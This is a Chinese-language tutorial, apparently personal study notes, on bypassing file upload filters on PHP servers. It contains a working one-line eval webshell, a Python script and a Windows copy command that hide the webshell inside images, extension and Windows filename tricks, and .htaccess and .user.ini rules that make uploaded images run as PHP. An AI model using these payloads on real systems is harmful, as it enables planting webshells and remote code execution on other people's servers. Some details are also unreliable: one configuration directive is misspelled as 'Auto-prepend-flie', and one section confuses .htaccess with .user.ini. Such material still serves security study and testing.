下面内容部分:参考
解释:文件上传漏洞一般指的就是用户能够绕过服务器的规则设置将自己的木马程序放置于服务器实现远程shell(例如使用蚁剑远程连接),常见的木马有一句话木马(php)
=eval($_POST['mypost']);?>
解释:文件上传漏洞如果存在可能会被攻击端获得webshell,文件上传漏洞的存在,我目前认为可能有下面几个方面
解释:下面的情况适用于php为服务器的情况
适用条件:服务器对在前端对于文件后缀进行筛选,或服务器在后端对用户调教的Content-Type进行检查
绕过:直接使用Burpsuite,然后上传一个带有php木马的文件,但是将其名字修改为png,这样可以绕过这两个限制,然后使用Burpsuite进行拦截将png后缀重新修改至php实现渗透
MIME常用类型
解释:总所周知,在文件上传过滤处,只有白名单才是相对安全的,而黑名单存在各种各样的问题
适用条件:windows上面部署的服务器,如IIS或者其它;服务器没有过滤大小写
解释:windows上面会自动把类似a.Php
转换为a.php
这样我们上传a.phP
到服务器上就是可以正常运行的a.php
适用条件:当服务器对用户采取黑名单过滤时,此时用户可以尝试多种可能能够执行php代码的文件后缀
绕过:修改文件名为webshell.php1
或webshell.php2
此时在某些特定情况下(比如apache如果配置不当可能把php1当做php进行解析)可能会执行成功
适用条件:服务器在对文件名过滤时,如果我们上传的内容在黑名单里面,服务器可能会对内容进行删除,此时可能适用重写来进行绕过
绕过:shell.phphpp // 当匹配到php时,shell.phphpp就变为shell.php中间那个php就被删除了
适用条件:服务器对于图片文件不单单会去验证后缀,可能还会去验证文件头,或者内容
解释:对于上传的图片内容一般未必是通过后缀来进行判断,很多可能都是通过读取其内容进行判
断,一般就是读取文件头。
常见的文件头(GIF那个相对简单可以直接复制GIF89a到文件开头):
提醒:目前从我利用的经验看,一般GIF89a能超过,其它还没有成功过
构造:
GIF89a
<?=eval($_POST['mypost']);?>
解释:通过将正常的图片与php恶意木马连接来形成文件木马,目的是绕过服务器对内容的一般检测
python生成:
from PIL import Image
def create_image(file_path, file_type, payload):
# 创建一个空的白色图片
img = Image.new('RGB', (60, 30), color=(73, 109, 137))
# 保存图片,并指定文件类型
img.save(file_path, file_type)
# 加入payload
with open(file_path, 'a') as f:
f.write(payload)
# 创建并保存图片
payload = '''
<?=eval($_POST['mypost']);?>
'''
# 文件类型 GIF/PNG/JPEG等等
create_image('要生成图片的文件名', '文件类型', payload)
window cmd生成:
copy 一张图片.png/b+一句话木马.php/a 生成图片名称.png
解释:window系统有很多与linux不同的特性,比如创建文件后缀有空格会自动删除,利用这些特性说不定可以达到意想不到的效果
空格:index.php[空格] //window会自动解析为index.php
加点:index.php......... //window会自动解析为index.php
加::$DATA
或::$DATA....
with open('inex.php::$DATA....', 'w') as f:
f.close()
适用条件:Apache服务器
解释:在Apache当中有两个配置文件分别为httpd-conf(优先级小,管理员才可修改,重启服务器生效)与.htaccess(优先级大,可修改,立即生效),其中httpd-conf是全局文件,.htaccess是局部文件,.htaccess书写的配置能够在局部范围内覆盖httpd-conf的配置
应用:先上传一个.htaccess文件,内容如下(下面内容告诉服务器将.png内容当作php内容去进行解析),然后再上传一个被改名为.png的php木马程序即可
AddType application/x-httpd-php .png
相关文章:https://wooyun.js.org/drops/user.ini%E6%96%87%E4%BB%B6%E6%9E%84%E6%88%90%E7%9A%84PHP%E5%90%8E%E9%97%A8.html
适用条件:上传的文件同执行的php程序在一个目录下面,存在于fastcgi运行的php里面
解释:在php当中有两个配置文件分别为php.ini(优先级小,重启服务器生效)与.htaccess(优先级大,修改立即生效),其中 php.ini是全局文件, .user.ini是局部文件, .user.ini书写的配置能够在局部范围内覆盖php.ini的配置
应用:先上传.user.ini,内容如下(下面的内容会让任意一个执行的php文件时,都会同时去执行自动关联的文件如下面的xx.png),如果能够成功,然后再上传一个被改名为xx.png的php木马程序即可,然后再随意访问一个php页面测试即可
注意:上传成功后可能需要等待一会才能生效(可以多传两次)
Auto-prepend-flie=xx.png
注解:仅仅为本人思路,本人知识浅薄,仅供参考
Content-Type
为正常内容的,测试服务器是否会以此为依据进行判断文件Content-Type
为依据通过上传文件test.dwadswafsfwfw
测验对方是白名单还是黑名单机制